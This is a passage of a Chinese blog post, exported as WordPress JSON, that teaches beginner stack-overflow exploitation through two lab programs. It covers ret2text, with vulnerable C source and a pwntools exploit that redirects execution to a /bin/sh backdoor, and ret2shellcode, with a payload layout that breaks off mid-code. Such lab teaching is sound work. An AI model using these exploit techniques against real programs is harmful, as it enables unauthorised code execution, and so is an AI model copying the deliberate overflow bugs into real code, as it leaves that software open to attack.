{"id":3877,"date":"2025-07-06T00:04:41","date_gmt":"2025-07-05T16:04:41","guid":{"rendered":"https:\/\/fushuling.com\/?p=3877"},"modified":"2025-07-11T15:26:21","modified_gmt":"2025-07-11T07:26:21","slug":"%e6%96%b0%e7%94%9flab-3-%e5%9f%ba%e6%9c%ac%e4%ba%8c%e8%bf%9b%e5%88%b6%e6%94%bb%e9%98%b2%e8%ae%ad%e7%bb%83","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2025\/07\/06\/%e6%96%b0%e7%94%9flab-3-%e5%9f%ba%e6%9c%ac%e4%ba%8c%e8%bf%9b%e5%88%b6%e6%94%bb%e9%98%b2%e8%ae%ad%e7%bb%83\/","title":{"rendered":"\u65b0\u751fLab-3 \u57fa\u672c\u4e8c\u8fdb\u5236\u653b\u9632\u8bad\u7ec3"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">\u80cc\u666f\u77e5\u8bc6<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">\u6808\u4ecb\u7ecd<\/h2>\n\n\n\n<p>\u9ad8\u7ea7\u8bed\u8a00\u5728\u8fd0\u884c\u65f6\u90fd\u4f1a\u88ab\u8f6c\u6362\u4e3a\u6c47\u7f16\u7a0b\u5e8f\uff0c\u5728\u6c47\u7f16\u7a0b\u5e8f\u8fd0\u884c\u8fc7\u7a0b\u4e2d\uff0c\u5145\u5206\u5229\u7528\u4e86\u8fd9\u4e00\u6570\u636e\u7ed3\u6784\u3002\u6bcf\u4e2a\u7a0b\u5e8f\u5728\u8fd0\u884c\u65f6\u90fd\u6709\u865a\u62df\u5730\u5740\u7a7a\u95f4\uff0c\u5176\u4e2d\u67d0\u4e00\u90e8\u5206\u5c31\u662f\u8be5\u7a0b\u5e8f\u5bf9\u5e94\u7684\u6808\uff0c\u7528\u4e8e\u4fdd\u5b58\u51fd\u6570\u8c03\u7528\u4fe1\u606f\u548c\u5c40\u90e8\u53d8\u91cf\u3002\u6b64\u5916\uff0c\u5e38\u89c1\u7684\u64cd\u4f5c\u4e5f\u662f\u538b\u6808\u4e0e\u51fa\u6808\u3002\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c<strong>\u7a0b\u5e8f\u7684\u6808\u662f\u4ece\u8fdb\u7a0b\u5730\u5740\u7a7a\u95f4\u7684\u9ad8\u5730\u5740\u5411\u4f4e\u5730\u5740\u589e\u957f\u7684<\/strong>\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling.com\/wp-content\/uploads\/2025\/07\/image.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"391\" height=\"281\" data-original=\"https:\/\/fushuling.com\/wp-content\/uploads\/2025\/07\/image.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3887\"  sizes=\"auto, (max-width: 391px) 100vw, 391px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u8fdb\u7a0b\u865a\u62df\u5730\u5740\u7a7a\u95f4\u5e03\u5c40<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u4ee3\u7801\u6bb5\uff08text\uff09\uff1a\u5b58\u653e\u4e8c\u8fdb\u5236\u4ee3\u7801<\/li>\n\n\n\n<li>\u6570\u636e\u6bb5\uff08data\/bss\uff09\uff1a\u5b58\u653e\u5168\u5c40\u53d8\u91cf<\/li>\n\n\n\n<li>\u6808\uff08stack\uff09\uff1a\u5206\u914d\u51fd\u6570\u6808\u5e27<\/li>\n\n\n\n<li>\u5806\uff08heap\uff09\uff1a\u5206\u914d\u52a8\u6001\u5185\u5b58<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250705-223452-5-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250705-223452-5-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:537px;height:auto\"\/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u53c2\u8003<\/h2>\n\n\n\n<p><a href=\"https:\/\/ctf-wiki.org\/pwn\/linux\/user-mode\/stackoverflow\/x86\">https:\/\/ctf-wiki.org\/pwn\/linux\/user-mode\/stackoverflow\/x86<\/a><\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u73af\u5883\u914d\u7f6e<\/h1>\n\n\n\n<p>\u76f4\u63a5\u8f93\u5165make\u5373\u53ef\uff0ckali\u91cc\u5565\u90fd\u6709<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250705-210437-5-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250705-210437-5-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:797px;height:auto\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">ret2text<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">\u80cc\u666f<\/h2>\n\n\n\n<p><code>ret2text<\/code>\uff08Return-to-text\uff09\u662f\u6808\u6ea2\u51fa\u653b\u51fb\u4e2d\u4e00\u79cd\u57fa\u7840\u7684\u5229\u7528\u65b9\u5f0f\uff0c\u5168\u79f0\u4e3a\u201creturn to .text \u6bb5\u201d\uff0c\u5373<strong>\u5229\u7528\u6808\u6ea2\u51fa\u52ab\u6301\u7a0b\u5e8f\u7684\u63a7\u5236\u6d41\uff0c\u8df3\u8f6c\u5230\u7a0b\u5e8f\u4e2d\u5df2\u6709\u7684 <code>.text<\/code> \u6bb5\u4ee3\u7801\u6267\u884c<\/strong>\uff08\u901a\u5e38\u662f\u67d0\u4e9b\u51fd\u6570\u6216\u6307\u4ee4\u5e8f\u5217\uff09\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>.text<\/code> \u6bb5\uff1a\u7a0b\u5e8f\u4e2d\u5b58\u653e\u53ef\u6267\u884c\u6307\u4ee4\u7684\u533a\u57df\uff0c\u901a\u5e38\u5305\u62ec\u4e3b\u51fd\u6570\u3001\u5e93\u51fd\u6570\u3001\u5176\u4ed6\u903b\u8f91\u4ee3\u7801\u7b49\u3002<\/li>\n\n\n\n<li>\u6808\u6ea2\u51fa\u653b\u51fb\uff1a\u653b\u51fb\u8005\u8986\u76d6\u6808\u4e0a\u7684\u8fd4\u56de\u5730\u5740\uff0c\u4f7f\u7a0b\u5e8f\u8df3\u8f6c\u5230\u653b\u51fb\u8005\u6307\u5b9a\u7684\u4ee3\u7801\u4f4d\u7f6e\u3002<\/li>\n\n\n\n<li>\u8fd4\u56de\u5730\u5740\uff1a\u51fd\u6570\u8c03\u7528\u540e\u4ece\u6808\u4e0a\u201c\u5f39\u51fa\u201d\u7684\u5730\u5740\uff0c\u7528\u4e8e\u8df3\u56de\u8c03\u7528\u8005\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u5f53\u7a0b\u5e8f\u5b58\u5728\u6808\u6ea2\u51fa\u6f0f\u6d1e\u65f6\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u6784\u9020 payload<\/strong>\uff0c\u8986\u76d6\u8fd4\u56de\u5730\u5740\uff1b<\/li>\n\n\n\n<li><strong>\u5c06\u8fd4\u56de\u5730\u5740\u8bbe\u7f6e\u4e3a <code>.text<\/code> \u6bb5\u4e2d\u7684\u67d0\u4e2a\u5408\u6cd5\u51fd\u6570\u6216\u6307\u4ee4\u5e8f\u5217\u7684\u5730\u5740<\/strong>\uff08\u6bd4\u5982 <code>system()<\/code>\u3001<code>win()<\/code> \u51fd\u6570\u3001\u6216\u8005 gadget\uff09\uff1b<\/li>\n\n\n\n<li><strong>\u7a0b\u5e8f\u8fd4\u56de\u65f6\u8df3\u8f6c\u5230\u8be5\u5730\u5740<\/strong>\uff0c\u6267\u884c\u653b\u51fb\u8005\u9884\u671f\u7684\u884c\u4e3a\u3002<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">\u5206\u6790<\/h2>\n\n\n\n<p>\u9996\u5148\u76f4\u63a5\u67e5\u770b\u6e90\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ gcc -g -fno-stack-protector -o ret2text ret2text.c -no-pie \n#include&lt;stdlib.h&gt;\n#include&lt;stdio.h&gt;\n#include&lt;unistd.h&gt;\n\nvoid backdoor(){\n  char *argv&#91;] = {\"\/bin\/sh\", NULL};\n  execve(argv&#91;0], argv, NULL);\n}\n\nvoid vul(){\n  char buf&#91;0x20];\n  read(0, buf, 0x40);\n}\n\nint main(){\n  vul(); \n}<\/code><\/pre>\n\n\n\n<p>\u653b\u51fb\u76ee\u6807\u5f88\u660e\u663e\uff0c\u5c31\u662f\u8981\u52ab\u6301\u7a0b\u5e8f\u63a7\u5236\u6d41\u5230\u6e90\u7801\u4e2d\u5df2\u5b9a\u4e49\u7684\u540e\u95e8\u51fd\u6570 <code>backdoor()<\/code>\u3002backdoor() \u51fd\u6570\u6267\u884c <code>\/bin\/sh<\/code>\uff0cvul() \u51fd\u6570\u5305\u542b\u4e00\u4e2a 0x20 \u5b57\u8282\u7684 buf\uff0c\u4f46\u901a\u8fc7 <code>read(0, buf, 0x40)<\/code> \u8bfb\u53d6 0x40 \u5b57\u8282\u7684\u6570\u636e\uff0c\u5b58\u5728\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\uff0cmain() \u51fd\u6570\u8c03\u7528 vul()\u3002<\/p>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u628a\u6c47\u7f16\u5f97\u5230\u7684\u7a0b\u5e8f\u7528ida\u53cd\u7f16\u8bd1\u4e00\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250705-225214-5-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250705-225214-5-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:689px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u540e\u95e8\u5bf9\u5e94\u7684\u5730\u5740\u662f0x00401136\uff0c\u5982\u679c\u6211\u4eec\u80fd\u63a7\u5236\u7a0b\u5e8f\u8fd4\u56de\u5230\u8fd9\u4e2a\u5730\u5740\uff0c\u90a3\u5c31\u53ef\u4ee5\u76f4\u63a5\u62ff\u5230\u7a0b\u5e8f\u7684shell\u4e86\u3002<\/p>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u518d\u67e5\u770bvul\u51fd\u6570\uff0c\u53cc\u51fb\u8fd9\u4e2abuf\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250705-225620-5-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250705-225620-5-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u7b80\u5355\u8ba1\u7b97\u4e00\u4e0b\uff0c\u53ef\u4ee5\u53d1\u73b0buf\u7684\u5927\u5c0f\u662f0x20+8\uff0c\u4e5f\u5c31\u662f40\uff0c\u800c\u6211\u4eec\u53ef\u4ee5\u8bfb\u53d60x40\u7684\u5927\u5c0f\uff0c\u4e5f\u5c31\u662f64\uff0c\u663e\u7136\u662f\u8fdc\u8fdc\u8d85\u8fc7\u4e86\u8fd9\u4e2a\u8303\u56f4\uff0c\u5b58\u5728\u8986\u76d6\u95ee\u9898\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250705-225718-5-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250705-225718-5-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:792px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5\u6211\u4eec\u53ea\u9700\u8981\u5148\u8f93\u516540\u5927\u5c0f\u7684\u6570\u636e\uff0c\u7136\u540e\u5c31\u53ef\u4ee5\u7528\u6211\u4eec\u7684shell\u5730\u5740\u8986\u76d6\u8fd4\u56de\u5730\u5740\u4e86\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\nsh = process('.\/ret2text')\ntarget = 0x00401136\n\nsh.sendline(b'A' * (0x20 + 8) + p64(target))\nsh.interactive()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250705-231057-5-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250705-231057-5-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u5f53\u6211\u4eec\u8c03\u7528\u4e00\u4e2a\u51fd\u6570\uff08\u5982 <code>vul()<\/code>\uff09\u65f6\uff0c\u7cfb\u7edf\u4f1a\u4e3a\u5b83\u5728\u6808\u4e0a\u5206\u914d\u4e00\u6bb5\u7a7a\u95f4\uff0c\u5178\u578b\u7ed3\u6784\u5982\u4e0b\uff08\u6808\u662f\u5411\u4e0b\u589e\u957f\u7684\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>              \u2191 \u9ad8\u5730\u5740\n              |\n              |  &#91;main \u7684\u8fd4\u56de\u5730\u5740]     \u2190 \u5047\u8bbe\u4ece main \u8c03\u7528 vul\n              |  &#91;saved RBP]          \u2190 main \u7684\u6808\u5e27\u57fa\u5740\n              |  ...                  \u2190 \u65e7\u6808\u5e27\n              +--------------------+  \u2190 vul \u51fd\u6570\u5f00\u59cb\u6267\u884c\u65f6\u7684 RSP\n              |     buf&#91;0x20]       |  \u2190 32 \u5b57\u8282\u7684\u5c40\u90e8\u53d8\u91cf\n              +--------------------+\n              |    saved RBP        |  \u2190 vul \u51fd\u6570\u8c03\u7528\u65f6 push \u7684 RBP\uff088 \u5b57\u8282\uff09\n              +--------------------+\n              |  \u8fd4\u56de\u5730\u5740\uff08RET\uff09     |  \u2190 vul() \u8fd4\u56de\u65f6 pop \u8fd9\u91cc\u8df3\u8f6c\n              \u2193\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>char buf[0x20];<\/code>\uff0832\u5b57\u8282\uff09\n<ul class=\"wp-block-list\">\n<li>\u7f16\u8bd1\u5668\u5728\u6808\u4e0a\u4e3a\u8fd9\u4e2a\u53d8\u91cf\u5206\u914d\u4e86 0x20 \u5b57\u8282\u7a7a\u95f4\uff0c\u4ece\u5f53\u524d\u7684\u6808\u9876\uff08RSP\uff09\u5f80\u9ad8\u5730\u5740\u5206\u914d\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><code>saved RBP<\/code>\uff088\u5b57\u8282\uff09\n<ul class=\"wp-block-list\">\n<li>\u51fd\u6570\u8fdb\u5165\u65f6\u4f1a\u6267\u884c <code>push rbp<\/code> \u4fdd\u5b58\u4e0a\u4e00\u4e2a\u6808\u5e27\u7684\u57fa\u5740\uff08\u8c03\u7528\u8005\u7684 <code>RBP<\/code>\uff09\uff0c\u7136\u540e <code>mov rbp, rsp<\/code> \u8bbe\u7f6e\u5f53\u524d\u6808\u5e27\u7684\u57fa\u5740\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><code>\u8fd4\u56de\u5730\u5740 RET<\/code>\uff088\u5b57\u8282\uff09\n<ul class=\"wp-block-list\">\n<li>\u8fd9\u662f\u51fd\u6570\u8c03\u7528\u65f6\u7531 <code>call<\/code> \u6307\u4ee4\u538b\u5165\u6808\u4e2d\u7684\u8fd4\u56de\u5730\u5740\u3002\u5f53 <code>ret<\/code> \u6267\u884c\u65f6\uff0c\u4f1a\u4ece\u8fd9\u91cc <code>pop<\/code> \u4e00\u4e2a\u5730\u5740\u5230 <code>rip<\/code> \u8df3\u56de\u53bb\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p>\u5f53\u6211\u4eec\u8f93\u5165<code>b'A' * 40 + p64(0x401136)<\/code>\uff0c\u6808\u4e0a\u5e03\u5c40\u4f1a\u53d8\u6210\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>| buf&#91;0x20]        |  \u2190 \u88ab 32 \u4e2a 'A' \u8986\u76d6\n| saved RBP        |  \u2190 \u88ab 8 \u4e2a 'A' \u8986\u76d6\n| \u8fd4\u56de\u5730\u5740\uff08RET\uff09   |  \u2190 \u88ab\u8986\u76d6\u4e3a 0x401136\uff08backdoor\uff09<\/code><\/pre>\n\n\n\n<p>\u56e0\u6b64\u5f53 <code>vul()<\/code> \u51fd\u6570\u7ed3\u675f\u540e\u6267\u884c <code>ret<\/code>\uff0c\u5c31\u4e0d\u662f\u8df3\u56de <code>main()<\/code> \u540e\u7eed\u4ee3\u7801\uff0c\u800c\u662f\u8df3\u8f6c\u5230\u6211\u4eec\u7684\u7cbe\u5fc3\u51c6\u5907\u7684 <code>0x401136<\/code> \u5730\u5740\u6267\u884c\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">ret2shellcode<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">\u80cc\u666f<\/h2>\n\n\n\n<p><code>ret2shellcode<\/code>\uff08Return to shellcode\uff09\u662f\u6808\u6ea2\u51fa\u653b\u51fb\u4e2d\u7684\u4e00\u79cd\u7ecf\u5178\u5229\u7528\u65b9\u5f0f\uff0c\u5b83\u7684\u6838\u5fc3\u601d\u60f3\u662f\uff1a\u5c06\u81ea\u5b9a\u4e49\u7684 shellcode \u653e\u5165\u6808\u4e2d\uff0c\u7136\u540e\u901a\u8fc7\u8986\u76d6\u8fd4\u56de\u5730\u5740\uff0c\u4f7f\u7a0b\u5e8f\u8df3\u8f6c\u6267\u884c\u6808\u4e0a\u7684 shellcode\uff0c\u4ece\u800c\u5b9e\u73b0\u653b\u51fb\u8005\u63a7\u5236\u7684\u884c\u4e3a\uff08\u5982\u6253\u5f00 shell\uff09\u3002<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><code>ret2shellcode<\/code> \u8fd9\u4e2a\u540d\u5b57\u53ef\u4ee5\u62c6\u6210\u4e24\u90e8\u5206\u7406\u89e3\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>ret2<\/code>\uff1a\u901a\u8fc7\u201c\u8fd4\u56de\u201d\uff08return\uff09\u6307\u4ee4\u6765\u52ab\u6301\u63a7\u5236\u6d41\uff1b<\/li>\n\n\n\n<li><code>shellcode<\/code>\uff1a\u4e00\u6bb5\u624b\u5de5\u7f16\u5199\u7684\u4e8c\u8fdb\u5236\u4ee3\u7801\uff0c\u6267\u884c\u67d0\u4e9b\u653b\u51fb\u64cd\u4f5c\uff08\u5982 <code>\/bin\/sh<\/code>\uff09\u3002<\/li>\n<\/ul>\n<\/blockquote>\n\n\n\n<p>\u653b\u51fb\u6d41\u7a0b\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u5728\u8f93\u5165\u4e2d\u6ce8\u5165 shellcode<\/strong>\uff08\u673a\u5668\u6307\u4ee4\uff09\uff1b<\/li>\n\n\n\n<li><strong>\u5229\u7528\u6808\u6ea2\u51fa\u8986\u76d6\u8fd4\u56de\u5730\u5740<\/strong>\uff0c\u4f7f\u7a0b\u5e8f\u8df3\u8f6c\u5230\u6808\u4e0a shellcode \u7684\u5730\u5740\uff1b<\/li>\n\n\n\n<li><strong>\u7a0b\u5e8f\u6267\u884c shellcode<\/strong>\uff0c\u653b\u51fb\u8005\u83b7\u5f97 shell \u6216\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">\u5206\u6790<\/h2>\n\n\n\n<p>\u9996\u5148\u67e5\u770b\u6e90\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/* \n  gcc -fno-stack-protector -z execstack \\\n   -g -o ret2shellcode ret2shellcode.c \n*\/\n#include&lt;unistd.h&gt;\n#include&lt;stdio.h&gt;\n\nvoid vul(){\n  char buf&#91;0x20];\n  printf(\"I will give you stack: %p\\n\", buf);\n  read(0, buf, 0x100);\n}\n\nint main(){\n  vul();\n}<\/code><\/pre>\n\n\n\n<p>\u7b80\u5355\u5206\u6790\u4e00\u4e0b\uff0cvul() \u51fd\u6570\u4e0e ret2text.c \u7c7b\u4f3c\uff0cbuf \u5927\u5c0f 0x20 \u5b57\u8282\uff0c\u8bfb\u53d6 0x100 \u5b57\u8282\uff0c\u5b58\u5728\u6ea2\u51fa\u3002\u540c\u65f6\u7a0b\u5e8f\u4f1a\u901a\u8fc7 printf(&#8220;I will give you stack: %p\\n&#8221;, buf) \u6cc4\u9732 buf \u5728\u6808\u4e0a\u7684\u5730\u5740\uff0c\u7a0b\u5e8f\u4f7f\u7528 -z execstack \u7f16\u8bd1\uff0c\u4f7f\u5f97\u6808\u533a\u53ef\u6267\u884c\u3002<\/p>\n\n\n\n<p>\u6211\u4eec\u7684\u76ee\u6807\u662f\u628a shellcode \u653e\u5728 buf \u8d77\u59cb\u4f4d\u7f6e\uff0c\u6ea2\u51fa saved RBP\uff088\u5b57\u8282\uff09\uff0c\u518d\u8986\u76d6\u8fd4\u56de\u5730\u5740\u4e3a buf \u5730\u5740\uff0c\u5f53 vul() \u8fd4\u56de\u65f6\u8df3\u5230 shellcode \u6267\u884c\u3002\u6bd4\u5982\u6211\u4eec\u73b0\u5728\u968f\u4fbf\u8fd0\u884c\u4e00\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250705-233009-5-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250705-233009-5-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u8f93\u51fa\u4e86\u6808\u5730\u57400x7fff92bcf780\uff0c\u6b64\u65f6\u6808\u5e03\u5c40\u5206\u5e03\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>buf&#91;0x20]            \u2192 shellcode \u653e\u8fd9\u91cc\nsaved rbp (8\u5b57\u8282)\nret addr (8\u5b57\u8282)     \u2192 \u8986\u76d6\u4e3a buf \u5730\u5740\uff1a0x7fff92bcf780<\/code><\/pre>\n\n\n\n<p>\u6211\u4eec\u9700\u8981\u4f20\u5165\u7684payload\u5c31\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>payload = shellcode\npayload += b'A' * (0x20 - len(shellcode))   # \u586b\u6ee1 buf \u5230 saved rbp\npayload += b'B' * 8                          # \u8df3\u8fc7 saved rbp\npayload += p64(0x7fff92bcf780)              # 